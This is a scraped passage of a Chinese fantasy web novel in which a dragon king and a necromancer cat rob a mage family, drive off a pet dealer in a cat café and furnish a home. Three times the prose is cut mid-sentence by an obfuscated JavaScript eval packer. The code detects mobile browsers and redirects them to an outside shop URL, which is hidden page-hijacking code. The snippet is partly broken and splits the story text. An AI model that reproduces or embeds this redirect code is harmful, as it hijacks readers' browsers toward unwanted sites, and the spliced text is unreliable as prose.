“不是你不愿我被人类养,所以才出来,打算带我走的吗?” 亥伯龙嘴上说是不会救他,但他一叫,还不是从藏身之处站出来了? 莫特默的眼睛扑闪扑闪,缓慢地朝亥伯龙眨眼。 就像黑暗无法阻挡莫特默的视线一样,亥伯龙也清晰地看到了那双宛如是一枚在黑暗中反复翻转的金币般的眼眸。 微弱的光线无法遮挡金币在翻动间反射出的,璀璨又诱人的光芒,反而正因其光芒若隐若现,更容易勾起内心深处的贪婪,渴望与占有欲。 亥伯龙偏过头。 ……花言巧语。 不过是一种想让他出手的诡辩。 可龙王言出必践,也从不否认自己说过或做过的任何一句话或事。 他确实说了这种话。 更何况,那个胆敢口出狂言,轻蔑于他的男人在他眼中,早已与死人无异。 眼见莫特默和亥伯龙之间仿佛有着一曾旁人难以介入,独有的气场, 站在一旁的斯雷德家主虽然没有彻底弄清情况,但还是感知到一种不妙的预感,忍不住插话:“你……” “没听到吗。”亥伯龙眼帘轻抬,打断道。 他重复了一遍曾对人类说过,一模一样,此刻却仿佛带上另一种不同的意味的话: “他,你养不了。” 轰——!!! 炙热的火焰骤然照亮黑夜,也一同照亮了红发的男人脸上原本影藏在黑暗中的恣意笑容。 火焰吞噬了敌人的身影,只在火焰的中心留下一个扭曲抽动的瘦长黑影。 叼着莫特默的金毛受惊地远离火焰,莫特默趁机脱离犬口,小跑着一把跳到亥伯龙肩上。 几秒过去,焰息消散,可本该化为焦炭的斯雷德家主却不见踪影。 莫特默歪头:“逃跑了诶。” 亥伯龙神色未变。 莫特默也说了一句便不再多言,转而低头梳理起自己的毛发。 毕竟,谁会多关心一个注定的死人呢? …… 疾逃而去的斯雷德家主脸色大变,额头上满是神经质跳动的青筋,全然没了之前的游刃有余和风度。 那个红发的男人是魔法师,还是魔法生物? 他怎么完全看不透?! 若是魔法师,现今哪还有实力如此强大的魔法师? 光是方才那一下威力就堪比禁术,要不是他有着能在危机时刻会自动触发的魔法道具,早已命丧黄泉! 可若是魔法生物……那群老不死的怪物不该都守在W国吗?! 斯雷德家主大口喘息着,胸口剧烈起伏,每一口气都带着铁锈般的惊悸。 电光石火间,他回想起莫特默口称的“亥伯龙”。 被夺走的龙鳞;会死灵魔法,从未见过的魔法生物;莫特默说的话……无数碎片拼合,斯雷德家主神色骤然扭曲如恶鬼。 不,不可能!! 他呼吸一滞,又大口吐出浊气。 幸好项圈已经带上,那个项圈可是他家族耗费百年心血研制而成的魔器,即使是再强大的魔法师或魔法生物也无法解开已经带上的项圈。 有什么等他回去之后利用项圈召回那只猫问清就好。 但谨慎起见,他应将龙出现的情报散播出去,好让其他人先一步代他试探。 斯雷德家主勉强压下心悸,却在下一刻骇然抬首。 契约,消失了?!?! 与此同时,亥伯龙稍微侧头看了一眼莫特默,一把扯下莫特默脖颈间那个碍眼的项圈。 在魔抗点满的巨龙面前,这点魔法反噬连挠痒都算不上。 莫特默扭扭脖子,被截断的魔力重新涌回体内。 他惬意地拉伸了一下前肢,目光略过一旁惊恐地夹着尾巴,却依旧安然无恙的金毛,心中不由轻哼一声。 龙,又被他抓住小辫子了吧? 明明可以一同烧了那只金毛,却因他曾对那只蠢狗表现过善意,龙火特地绕开了对方。 明明是唯我独尊的龙王,却意外地细心。 不过…… 既然从一开始就跟在暗处,竟然还袖手旁观那么久,一直在那看他笑话?! 莫特默扭头就发难:“你之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030496|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前为什么不出来!” 亥伯龙慢悠悠答道:“哦?我还以为你们死灵法师之间会惺惺相惜,不愿旁人打扰呢。” 不等莫特默驳斥那他之后又为什么出来,他又像是知道莫特默曾经在想什么一样,好以整暇地接了下去: “不过我可见不得亡灵法师好过,不论哪一个。” “而且,你不是说了?” 亥伯龙的声音透着几分故意的缓慢,用莫特默自己的话道, “我可看不得你被人类养。” 莫特默盯着亥伯龙看个不停,鼻腔中还持续挤出质疑的低吟,像是要找出亥伯龙的破绽。 亥伯龙面不改色。 须臾后, “只被你养,可以了吧?” 莫特默松口了,用一种不情不愿的口吻道。 亥伯龙怔住,愕然地用一种全新的眼神扫过来。 他养?这个死灵法师知道他在说什么吗? 他…… 亥伯龙的目光落在莫特默粉色的鼻头上,心中微微一动。 莫特默 是死灵法师……但也是猫。 他为什么不能养? 亥伯龙没有说话,只静静移开目光。 但沉默,本身就是一种默认。 莫特默的尾巴轻轻一勾,就绕在亥伯龙的脖颈间,整个身子也顺势挨过来,毛茸茸,暖呼呼地贴着他,声音黏糊糊地,像裹了层蜜: “既然要养猫,那就要负起责任哦。” 亥伯龙闭着眼,冷淡地听着,没有说话。 “龙,你喜欢金币吧?”莫特默眼珠子一转,继续道。 “那个逃走的魔法师……据说是一个魔法家族的家主,并且还带着可以传送回家的门钥匙。” 莫特默在亥伯龙耳边偶偶细语,语气像是崇拜偶像的小女生般,带着某种天真的感叹。 “一个魔法家族,该多有钱呐?” 而龙去打家劫舍,又有多正常? 莫特默眼中闪着不怀好意的光。 但亥伯龙不讨厌。 他刚张开口,莫特默立马抢答:“不是合作,是你带着我一起,对吧?” 亥伯龙这下终于忍不住,低低笑了起来,笑声中满是愉悦和赞扬。 …… 远在W国的某座大宅内, 一头庞大的巨龙忽然凭空显现,压倒部分宅院。 在巨大的结界的包围下,龙火点燃了可以点燃的一切,让本来是保护与隐蔽意味的结界反而变成一个罩住地狱的锅盖。 尖叫声,慌乱声,五光十色的魔法攻击……在一片混乱中, 一个小小的身影,翘着尾巴在因忙于抵御外敌而无人看守的宝库里左跳右跳,疯狂地搜刮视线范围内的一切东西。 莫特默就像是个掉进了米缸的老鼠,乐不思蜀。 可以储存魔力的金币,贵金属与宝石,没见过的魔法材料,富含大量魔力的道具…… 带走,带走,统统带走! 别急,装完你的装你的,装完你的装你的,我自有安排。 继承不了龙的百亿资产,没关系,聪明又勤劳的猫猫自会创造财富。 新世界新大陆,满地都是黄金和机会! 都说在家靠父母,出门靠朋友。 家人们看,即使在异世界,猫猫还是交到了热心的朋友。 们死法就是这么团结,乐于助猫。 先富带动后富。 死法help死法。 助力猫猫过上皇帝般的生活! 17.第 17 章 热闹的猫咖店内,笑声,谈话声不绝于耳。 店主喜滋滋地抱着一只猫,感动地环视与之前清冷大不相同的店内。 自亥伯龙在漫展上的比赛视频传播开来后,他就变得十分有名气,也因此许多得知亥伯龙身处猫咖的人都慕名而来,让原本只是想用莫特默招揽顾客的猫咖反倒因猫的主人而火爆起来。 对于亥伯龙的“喧宾夺主”,莫特默倒不在意,或者不如说…… 亥伯龙抱臂依在墙边,望向一旁的莫特默。 莫特默正伏低身子,视线盯向面前那根被刻意甩到他眼前,不停颤动的羽毛,眼神中写满不屑。 区区一根羽毛,他怎么可能会上钩?莫特默深沉地想。 下一瞬,羽毛猛地往上一抖,高高飞起! 一同起飞的还有莫特默。 莫特默的眼睛死死勾在那根系着绳子的羽毛上,双爪大张,以一种势不可挡的气势,朝向后飞去的羽毛扑去! 然后在一片人类的欢声笑语中,丝滑地原地翻了一个跟头,落地发出“咚”的一声。 羽毛轻飘飘地脱离莫特默的爪缝,落到另一处。 狩猎宣告失败。 莫特默又恢复成那副伏低身子,整只猫压在地上,深沉地盯着羽毛的状态。 亥伯龙:…… 他无语地掩下视线。 一个死灵法师,竟然完全被本能支配,这么沉迷于人类的把戏…… 他当初怎么会认为莫特默是一个正经的死灵法师?如今看来,莫特默唯一与死灵法师相符的,恐怕只剩下那霸道又奸猾的性格了。 亥伯龙在心中懒洋洋地想道,他看着莫特默那副滑稽的样子,心情倒也不赖。 就在这时, “那只猫,我要了。” 一个和周围格格不入的刺耳男声响起。 接着是店主温和中带着歉意的嗓音:“不好意思,那只猫不在本店的领养范围内。” “那我买下来总行了吧?多少钱?500够不够?” “先生,那只猫不是我们店里的。”店主重申,语气变得强硬了些。 “嫌钱少?” 男人是声线中有着一股油腻又市侩的,属于中年男人的自以为是。 他不待店主反应,说完话后便自顾自挤开围在莫特默身旁的人,径直走向处在包围圈中心的莫特默, 伸手用一副不知从哪来的理所应当感,一把将仍盯着逗猫棒的莫特默揪起。 他揪着莫特默左右转了转,眼神满是一种打量货物的挑剔,活像自己是个压价的顾客,讨价还价道: “长得是有点特色,但说到底也只是土猫,卖不上什么价。” 周围的人霎时安静下来,拿着逗猫棒的那位姑娘更是茫然又有点无措地僵在原地。 “先生!”店主的脸色也变了,她板着脸快步上前,声音因急切而显得严厉,“这只猫是那位客人的,我们店不卖!” 能在这种偏公益性,给猫找领养而不收钱的店内工作,店主无疑是一个爱猫的人。 寥寥几句话,店主就看穿了眼前这个身体精瘦个子高挑,脸上满是精明的男人是一个猫贩子。 还是那种只图利益,不顾动物感受的职业宠物贩子。 对方显然是看中莫特默身上有利可图,明知这里不是卖猫的地方,仍闯进来故作询问,摆出一副势在必得的架势。 “不是你的猫不早说。” 果然,那贩子根本没将店主的拒绝当回事,只当是店主做不了主。 他扭头就朝店主示意的方向,所谓猫的主人看去,扬声道: “你这猫当初多少钱弄来的?我可以给你一千,够意思了吧?” 莫特默猝然从快乐的玩耍中脱出,就紧接着旁听到这番足够冒犯的话。 再在加上那贩子可能是怕他挣扎逃脱,掐在他后脖的手粗暴又用力,瞬间唤醒了莫特默被大狗咬住脖子的无力瞬间。 莫特默浑身一个机灵,怒从心起! 宠物贩子还在喋喋不休地说着什么,但莫特默已经准备好了。 锋利的指甲“噌”地弹出肉垫。 莫特默眯起眼。 话说上一个这么对他的,是什么下场来着? 莫特默悍然出爪—— 谁知宠物贩子不知是巧合,在余光中碰巧瞥见了莫特默的意图,还是由于经验老道, 猫的爪子刚一抬起,冥冥中的骤升的危机感就让他猛地撒手,要将手头的猫甩出去。 提着莫特默的力倏地一空,莫特默连忙在空中调整姿势,心中扼腕,神色却未妥。 “啊啊啊啊啊!” 可宠物贩子的惨叫声还是响了起来。 莫特默也没有重重摔到地上,而是坠入一只温暖的手。 那只有力的大手稳稳拖住莫特默的屁股,他身子一歪,坠落途中的整只猫就这么顺势躺在了那只接住他的结实手臂上。 亥伯龙自然而然地收手,姿势极具保护感地将莫特默捞回胸前。 小小的猫就这么直愣愣地一头埋进亥伯龙的怀中,眼前什么也看不清,只能感受到亥伯龙的气息与温度。 而亥伯龙的另一只手…… 正牢牢钳在宠物贩子那只原本拎着猫的手腕上。 宠物贩子发出杀猪一般的惨叫,缩着身子往后退,想抽出自己的手。 但那被握住的手死死僵在原地,他像是在和一截钉死在地上的消防栓较劲,无论他怎么扭扯,对方连晃都未晃一下。 “断了…断了!!!” “快给我放手!” “你…我要报警!报警!听到了吗!!” 宠物贩子脸色扭曲涨红,甚至因为剧痛和憋气逐渐发紫,意识到力量悬殊后,他转而嘶声威胁起来, 并且因为自己目前做不到,他还扭头朝周围因这惊变而呆愣在场的人呼喊起来,叫着让他们帮忙报警,借此向亥伯龙施压。 亥伯龙不紧不慢地松开手。 宠物贩子措手不及一个踉跄,差点仰面摔倒。 他捂住自己作痛的手腕,眼神凶戾:“你想做什么?!这可是法治社会!你别想走,就在这二给我等着警察来!把我伤成这样,你必须给我个说法,道歉,还要赔我医药费!” 这时周围的人也陆续反应过来。 宠物贩子的话难听是难听,冒犯是冒犯,但亥伯龙一旦动手,这个事情的性质就变了。再怎么说,动手的一方都显得理亏。 店主目光忧愤,正想上前帮腔,就听亥伯龙语带若有若无的笑意,似是不以为意: “哦?我做什么了?” 宠物贩子冷哼一声,“你还好意思装傻?看——” 他可以把原先捂住的手腕亮出来,朝周围的人展示,以表达营造自己的无辜与作为受害者的正当性。 “你把我手腕伤成这样,还想抵赖?我必须去医院验伤,你等着……” “可你根本没事啊?”店主再也忍耐不住打断他。 “怎么没事?!你瞎了是不是……” 宠物贩子嘴一张,就要以气势凌人 ——直到他看到自己的手腕。 手腕上光洁如初,什么红肿,青紫,甚至指印,统统不存在。 “……啊?”最后一个字虚弱地划出嘴边,宠物贩子迟疑地说完,嚣张的气势一同消失得一干二净。 他的手腕上怎么会什么痕迹都没有?这岂不是显得他…… 这下好了,局势反转。 不仅是店主,周围的围观群众也仿佛一下子找到了支点,气焰高涨起来,纷纷为亥伯龙和莫特默打抱不平。 “什么人啊这是!演得跟真的一样,叫那么惨,结果啥事没有。” “就是碰瓷!这种人我见多了。” “真恶心。” 宠物贩子脸上青一阵白一阵的,不明白事态为什么会变成这样,连自己对之前的记忆都恍惚起来。 难道真的没那么严重,只是他一下子被吓到,不自觉夸大了痛感? 这时亥伯龙的声音响起,语气平稳却隐含着一股不容忽视的威胁感: “就是你,要买我的猫?” 宠物贩子脸色微变,心知大势已去,别说买猫,能不被追究、赶出去都算他溜得快,可嘴上依旧不愿服软。 “原本看在你的猫长得有些特色的份上我还挺喜欢,但性子实在太差了,刚才竟然还想抓我。” 他抬高声音,好似这样就显得他有理。 “这么凶的猫,白送我都不要!” 撂下贬低之话后,他再不停留,快速离开了店铺。 坏了一锅粥的老鼠屎走了,但店内一时半会儿还恢复不了之前那种快乐和谐的氛围。 店主松下紧绷的肩膀,走上前安慰道:“别担心,我们店里都有摄像头,他之后如果还想纠缠或造谣,监控就是证据。” 亥伯龙不置可否。 店主顿了顿,语气谨慎地提醒道,“就是……” “我看你的猫猫爪子好像有段时间没剪了,为了其他客人的安全,最好还是能尽快剪一下。” 在刚刚那场意外中,除了看了一场好戏外,也有不少人关注到了莫特默指间的利爪。 作为一家提供和猫猫近距离接触的猫咖店,这种会伤人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039190|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的潜在因素可不能有。 听到店主提到自己,莫特默从亥伯龙胸前抬头:? 他被亥伯龙捞到怀里,脸颊贴上炙热的温度后,情不自禁一踩一踩地揉面团,做起面包来,正兢兢业业,干得起劲。 怎么突然话题就转到要剪他指甲了?要是龙敢答应,他…… “不。”亥伯龙毫不犹豫。 那没事了。莫特默安详地缩回脑袋,继续他伟大的搓面包胚事业。 语毕,亥伯龙也不等店主的回应,转身带着莫特默,径直穿过人群,长腿一迈,毫不留恋地离开了店。 店主愣了一瞬,随即赶忙追到门边:“等等!” 亥伯龙的背影没有半分停顿。 店主扶着门框,望向那一人一猫远去的背影,某种清晰的直感告诉她,他们可能再也不会来了。 莫特默又做了会儿面包,才意犹未尽地停下:“龙,你怎么这次这么主动?” 主动得他都要有点不适应了。 亥伯龙丢来一个“明知故问”的眼神,语气中混杂着傲慢与理所当然: “你是我的猫。” 其充满保护和纵容的言下之意不言而喻。 确实在明知故问,就是想亲耳听到亥伯龙说,也如愿以偿的莫特默顿时胡须都要翘起来。 骗你的。他才没有不适应。 这才是铲屎官对他应有的态度! 但猫的心犹不满足,又蠢蠢欲动地抱怨道:“那你这样,我之后就赚不到外快了。” 他言之凿凿地谴责。 亥伯龙这么一走,他在猫咖店的打工生涯岂不是就此终结?虽说他们现在不缺钱,但猫咖店里个个都是喜欢他的有品之人,说话又好听,他来这感觉像回家一样,这种外快不赚白不赚。 亥伯龙捏了捏莫特默的尾巴尖,似笑非笑:“怎么没有外快?” 亥伯龙与莫特默四目相对。 一种无言的交流在他们的眼神中流通。 片刻后,莫特默闷闷地笑起来。 他真的很奇怪。 他和亥伯龙之间的默契,怎么时好时坏? 莫特默朝某个方向轻轻地喵了一声。 亥伯龙无言,却立刻转身,朝那个方向走去。 道路尽头,那个熟悉的、宠物贩子的背影映入他们眼帘。 …… 几分钟后,怀揣着一笔外快的亥伯龙和莫特默淡定地大街上漫步。 莫特默心里拨拉着小算盘,清点完他们目前手头的战利品,满意宣布道: “龙,是时候去添置点家具了。” 在拥有了莫特默要的手机和亥伯龙提及的金币后,他们的财产还剩下了一大笔,更何况今天还格外有了一份意外之财。 所以是时候提升一下生活品质了! “我们去买些软乎乎,轻飘飘的垫子吧!” 莫特默一想到那种一躺下去,整只猫会陷下去被柔然的布料包裹起来的滋味,不由悠然神往。 亥伯龙也赞成添置家具,不过: “当然是要足够坚硬的上好玉石,或由黄金铸成的床榻。” 龙族都是睡在岩石或金山宝石上,即便化作人型,也是习惯于坚硬的材质上。 轻飘飘的,一睡下去,不就全压塌了? …… 几天后,空荡荡的毛坯房内已变得与之前截然不同。 灰色的水泥地上铺满了毯子,墙角堆砌着金器与宝石组成的小山。 亥伯龙坐在一张难掩华贵的椅子上,单手支颐,另一只手则拿着一本封面鲜艳的本子正在翻阅。 而在他的膝头放着一个柔然的垫子,一团毛茸茸的身影肆意舒展着四肢,霸道地占据了那张垫子,正闭目假寐。 不远处,两种风格迥异的家具和谐地摆在一起。 大变样的室内,一时间只有书页偶尔翻动的声音。 就在这昏昏欲睡的宁静中,莫特默聪明的小脑瓜忽然灵光乍现,明悟了一个宇宙真理: 正于“鱼越大,鱼越小”这般玄妙的道理, 那好猫…… 就该在铲屎官头上作威作福啊! 他做得还远远不够,作得还远不够称职哇! 莫特默恍然大悟,心中充满了使命般的紧迫。 想着,他心有戚戚焉地掀开一条眼缝,瞥向正专注阅读的亥伯龙。 亥伯龙敏锐地垂眸,与膝头的莫特默对上视线。 莫特默满意地重新闭上眼。 为了回报亥伯龙,一个绝妙的计划在他心底应运而生。 而他的尾巴尖,也同时不由自主地,轻轻勾了勾。 18.第 18 章 为此—— 美好的一天,从起床开始! 莫特默一脚踩在亥伯龙陷入沉睡的脸上。 在亥伯龙猛然惊醒睁开的视线中,莫特默的眼神中没有一点心虚愧疚,只有发现亥伯龙醒了的喜悦。 “龙,你醒啦!” 亥伯龙低气压地回视莫特默。 往家里搬了合心意的家具后,似是也将此地真正视作了巢穴,即便没有睡眠的需求,亥伯龙也依旧和莫特默一样,夜间在寝具上躺下入睡了。 然后就在一大早被莫特默踩醒。 莫特默像那些在早晨叽叽喳喳,吵闹不休的鸟一样,持续在亥伯龙耳边制造着噪音,完全不懂得“眠龙勿扰”这个至理名言。 “起床了起床了。” 莫特默像跳蹦床一样痛击亥伯龙的胸口。 “龙,我们出去吃饭吧!” 亥伯龙眉心蹙起,伸出光裸的臂膀,将自己眼前放大的莫特默的脸拉开,拎走放到一边,声音沙哑: “家里不是有食物?” “不,我要吃这个——!” 莫特默兴奋地扭身一把把亮起的手机屏幕拍到亥伯龙眼前。 屏幕上,一个颜色对比鲜明诱人,看上去像是什么甜品的东西映入眼帘。 亥伯龙定睛一看,上面写着【榴莲三文鱼海鲜饭】。 亥伯龙:“……?” 人类的品味真是与众不同,亥伯龙这下真的醒了,并且对此难以理喻:“吃什么垃圾?” 家里什么都有,猫粮,肉类,生骨肉,罐头,甚至零食……种类多到莫特默一顿换一样一个月都吃不完,却非要去吃什么乱七八糟的玩意? 莫特默不听,仰天长嚎:“龙——” 亥伯龙眼神不悦。 一大早把他吵醒,就为了这? 莫特默不依:“龙,龙,我要嘛!” 细细的猫叫在房间里回荡,扰得听众心神不宁。 连亥伯龙也未免于此,因此心烦意乱,并为此内心深处泛起一丝不可置信。 这难道是什么干扰精神的魔法?还是说猫都是这样? 如果亥伯龙通读过人类的书籍,就会发现人类还专门对此做过解释,将其归于猫的变通与智慧。 猫在针对人类进行表达与索求时,会将声音的频率改为类似于人类婴儿般的哭嚎,以此来操纵人类满足他们的需求。 但实际上,猫咪之间的沟通大多都不是通过语言,只有面对人类这样主要是以语言来沟通的对象,才会频频开腔。 而莫特默此时就不停地在亥伯龙耳边叫着,牵扯亥伯龙的心神。 亥伯龙烦躁道:“适可而止!” 搞清楚,他在同意养莫特默后,是愿意作为主人在为莫特默提供食物住所,也不介意满足莫特默一些无伤大雅的小要求。 但他不是没有底线的!没有无条件满足莫特默的义务! 所以, 别叫了! …… 半小时后, 还是去了。 “吔,吔……” 莫特默的胸膛一鼓一鼓地起伏,像是在吐毛般往桌上呕吐,虽然他此时吐出的只有空气。 亥伯龙闭着眼,忍耐着鼻尖诡异的气味和莫特默尝了两口后,开始不停往外吐口水的行为。 缠着硬要吃这个的是他,在被他带来后没吃几口就这幅作态的还是他。 一想到自己竟化为原型用隐蔽魔法带着莫特默直接从高空,仅仅几分钟就飞过来,亥伯龙深觉自己真是鬼迷心窍。 莫特默声音可怜虚弱:“龙……” 亥伯龙冷笑一声,睁眼刚想奚落莫特默自作自受, 就发现只听声音好似虚弱的下一秒就要死去的莫特默,正在偷偷往他的那一份饭里拌入榴莲奶油生鱼片混合物。 亥伯龙:?! 他难以置信地直视莫特默。 莫特默若无其事地停下动作,无辜地睁大眼睛认真道: “龙,别误会了。” “我只是觉得这种独特的风味,龙你说不定会很喜欢嗳。” 他狡辩道,眼睛做贼似地左盼右盼,就是不看亥伯龙的眼睛。 “这种好东西,当然要留给好心的龙一份捏。” 说着说着,亥伯龙还没表态,莫特默竟像是把自己说服了,表情竟变得理直气壮起来,对亥伯龙道: “快说,谢谢猫。” 亥伯龙:“……” “是吗。” 亥伯龙气极反笑, “既然这么喜欢,那我的这份你也全吃了吧!” 话音刚落,他豁然伸手,抓向天生邪恶的奶牛猫! 而那猫竟转身一扭,反从亥伯龙掌下逃走了。 “欺猫啦——欺猫啦——!” 莫特默的小短腿溜得极快,几乎要踩出残影,眨眼间就要窜出包厢,逃之夭夭。 可惜这种程度在久经沙场的亥伯龙眼中就是关公面前耍大刀了,不自量力。 亥伯龙三下五除二,就逮捕了这个企图投毒,作案未遂的嫌疑猫,将其押回犯案现场, 并且在严刑逼供下,此猫供认不讳,承认其是故意犯案,但仍坚称自己只是好心办了坏事。 看在罪猫认错态度良好,加上被狠狠拍了屁股十大板的份上,考虑减刑。 最后,迷之拌饭事件,以其中小部分进了莫特默肚子,而大部分被亥伯龙解决为结尾。 …… 折腾了一上午的莫特默焉巴巴地摊在亥伯龙头上,有气无力地嗫嚅嘴巴,不知又在说什么难听懂的小猫话。 一回到家,莫特默就像是流体般从亥伯龙头上滑下,瘫倒在地面上的地毯上。 他拖着沉重的身体,在地毯上蛄蛹着往自己的小窝前进。 等艰难地挪到窝前,一只前爪已经踏了进去,莫特默忽然顿住。 “龙,你有没有发现……” 莫特默语气凝重。 亥伯龙下意识集中注意力, 接着就听莫特默震惊地说:“我的窝不够软!” 莫特默扭头,又夹起嗓子:“龙,我在手机上看到一款特别好的垫子……” 这下亥伯龙听懂了: 这是还没歇几分钟,又想作幺了。 亥伯龙匪夷所思,深切体悟了某猫的记吃不记打。 莫特默怎么想的? “你以为我还会任劳任怨地载着你再出去一次?” “不不不。”莫特默连忙摇头,卖乖道,“不需要你带我出去。” 亥伯龙不信,闻言心中没有一丝丝放松,只有更深的警惕。 他视线落在莫特默身上,不说话。 莫特默装乖不过几秒,很快图穷匕见,振振有词道: “龙,你完全可以网购啊。” 这个出乎意料,从未听过的词成功让亥伯龙露出清澈疑惑的眼神。 莫特默朝亥伯龙用力点头:“就通过手机远程进行购买,东西还会被送货上门哦。” “手机。”亥伯龙明白了。 莫特默是想让他学习使用人类的通讯工具。 “不感兴趣。” 他不过是否认了一次手机的必要性,莫特默竟如此记仇? “那就还是你亲自……”但莫特默竟没有坚持,反而像是巴不得如此般立马改口。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045347|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿来。”亥伯龙打断道。 比起天天给莫特默做牛做马,还不如用那所谓的“网购”。当然,这不是妥协,是一种养猫的智慧,亥伯龙从容地想。 莫特默眨眨眼,乖巧地将手机叼来给亥伯龙,并点开网购页面,重点展示他看中的那个猫窝,猫爬架,磨牙棒…… 亥伯龙眼神眨也不眨,全都勾选,只想快点摆脱磨龙的猫。 而区区怎么使用一个手机,自然难不倒他。 亥伯龙修长的手指在手机屏幕上滑动,无数商品随着他的指尖掠过,他蓦地一顿。 莫特默也一顿。 亥伯龙不会发现了吧? 要不是他缠着亥伯龙带他出去,还借此给了亥伯龙一个难忘的回忆,亥伯龙怎么会在面对相似的情况下,愿意退一步使用手机? 莫特默小心地打量亥伯龙的脸色,没能从中看出端倪。 亥伯龙视线定在手机屏幕上,久久没有移动。 ……《怪O猎人》?这是什么?他陷入沉思。 “龙——!”莫特默忙冲过来打断。 亥伯龙漫不经心:“又要什么?” “我,呃我要……” 莫特默急中生智,“对,我要补魔!” 手机屏幕上猝然碎开,一个坑洞出现在亥伯龙指下。 亥伯龙的拇指停在碎裂的中心, 他缓缓回头,目光难掩震撼:“你要……什么?” 莫特默越说思路越顺滑,越说语言越流利: “我要做补充魔力的药剂,我已经有了大部分素材,只差一个魔法工坊!” 亥伯龙松开拇指,心情缓缓平复。 原来是这个意思。 “随你。”亥伯龙平静道。 说到底,他能活动得有多自由,都取决于莫特默的魔力。 莫特默魔力越深厚,能提供给他的也就越多。 莫特默闻言连忙道:“龙,你真好!” 所以你没有发现不对劲,也没有发现他的套路,对吧? 亥伯龙听着莫特默兴奋地安排起每个房间布置的话,突然想到一个问题。 既然莫特默都会做魔药,那也就意味着他其他方向的魔法造诣也不错,既然如此…… “你为什么会成为死灵法师?”亥伯龙问。 莫特默止住话,不解地回头,看上去比亥伯龙还困惑:“为什么……就是这么成了的?” 他思考了一下,反问亥伯龙道:“那你为什么成为龙王?” “因为我能。”亥伯龙言简意赅。 莫特默回了一个“看吧,就是这样”的眼神。 亥伯龙微讶,随即不禁哼笑出声。 像他说的那样,他会成为龙王,从不是因为他是什么红龙,或因为他上一任龙王的子嗣。 只是因为他能! 他是有史以来最强的龙,所以龙王之位他夺得了。 而他也是最强的王,世界上最强的生物,所以无人应在他之上! 站在世界之巅的那个位子,他也去夺了。 最强…… 亥伯龙想到莫特默嘴边老是挂着的“他未来会是最厉害的死灵法师”这句话,之前听得厌烦,如今想起心中却泛起一丝欣赏。 “不错。” 他突兀地开口。 “我等着你成为最强的死灵法师的那一天。” 莫特默闻言骄傲地挺起胸膛。 那当然。 他一定会成为最厉害的死法! 但,既然要成为最强…… 莫特默眼咕噜子一转。 那手下可不能只有一个死灵吧? 你说呢,龙? 19.第 19 章 “捏、嘿、嘿、嘿~” 一阵低而尖利的邪笑从莫特默嗓子中压抑地挤出。 注视眼前着已经大功告成的魔药,莫特默的眼中闪过诡异的光。 现在有了魔药,那剩下的……就是怎么支开亥伯龙进行召唤了。 亥伯龙被他召唤后就一直在他身边,即便他们之前发生过争执,亥伯龙也没有真正地离开。 这件事在之前是一件好事,亥伯龙可以无时无刻地在周围保护他的安全,但如果他想召唤别的死灵…… 莫特默不认为亥伯龙会对此无动于衷,所以最好先斩后奏! 他都把对方召唤出来了,亥伯龙总不能反手一个撤回,将其塞回召唤阵吧? 至于如何要将与他形影不离的亥伯龙调虎离山……猫猫自有妙计! 在发现亥伯龙即便和他争吵后依旧没有离开,讨厌他却依旧在危险时会站出来,再加上亥伯龙成为铲屎官后竟会主动保护他,和烦躁却依然满足他愿望的种种举动…… 伟大的猫猫侦探已经看透了一切。 亥伯龙 ——实际上是个很有责任心,还护短的好龙哇! 也就是说,面对真正被他纳入保护区的对象,亥伯龙出乎意料地宽容,并不加防备。 他只要找一个不要太过反常的借口,再加上老实待在安全的结界内,亥伯龙定会如同所愿,短暂地离开他身边一段时间。 而他,也将借此机会,花着亥伯龙的钱,用着亥伯龙抢来的媒介,吃着亥伯龙,睡着亥伯龙,朝最强死法的目标又迈出一步! 猫生,易如反掌! 莫特默正了正表情,翘着尾巴缓缓踱步到亥伯龙所在房间,开始实施自己的计划。 他从门后探头,和之前每一次一样,开嚎:“龙——” 亥伯龙面不改色,神情宛如没有听到一样冷静如初。 在经历了几天的折磨下来,他已经不是最开始那个会因此烦躁,不堪忍受的亥伯龙了。 他,已经不是从前的那个会随随便便暴怒,控制不了情绪的他了。 亥伯龙,已经完全进化! 要是生前他那些臣子看到他如今的模样,都会大呼不可能,这还是他们那个一言不合就动手,敢反抗就敢打死的龙王吗? 但亥伯龙已经成功总结出一套应对莫特默的方法。 对于莫特默这种你越给他眼色,他越来劲,而你如果不满足他,就能一直纠缠下去的类型,就应以不变应对万变。 莫特默念完起始咒语,一套丝滑小连招,开始发动魔功:“我要吃草莓龙虾!” 亥伯龙如常地翻过书的一页,头也不回:“行。” 莫特默心满意足道:“但我的魔药还在熬制,你帮我带一份回来吧~” “不是有外卖?”亥伯龙平静又超然地说。 莫特默:“…………?” 